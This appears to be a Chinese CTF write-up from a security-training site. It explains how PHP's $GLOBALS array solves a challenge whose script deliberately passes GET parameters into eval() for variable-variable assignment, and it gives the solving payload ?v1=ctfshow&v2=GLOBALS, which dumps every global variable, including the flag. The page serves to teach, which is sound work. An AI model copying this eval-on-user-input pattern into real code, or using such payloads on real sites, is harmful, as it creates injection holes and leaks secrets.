PHP特性:关于全局变量global的学习

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
        die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
        die("error v2");
    }

    if(preg_match('/ctfshow/', $v1)){
        getFlag($v1,$v2);
    }
}
?>

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

变量覆盖是没跑了,但是不知道flag在哪个变量,此时可以使用全局变量:GLOBALS

举个例子:

<?php
$a=123;
$b=456;
var_dump($GLOBALS);

会输出很多:

   ["_COOKIE"]=>
    array(0) {
    }
    ["_FILES"]=>
    array(0) {
    }
    ["GLOBALS"]=>
    *RECURSION*
    ["a"]=>
    int(123)
    ["b"]=>
    int(456)
  }
  ["a"]=>
  int(123)
  ["b"]=>
  int(456)
}

最后我们可以发现我们自定义的变量也在这其中:

[“a”]=> int(123) [“b”]=> int(456) }

这样就可以输出我们的flag了

直接使用payload:

?v1=ctfshow&v2=GLOBALS

 

 

 

Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » PHP特性:关于全局变量global的学习

提供专业、易懂、平民化教育。让每个热爱网络的人有个归宿

立即查看 了解详情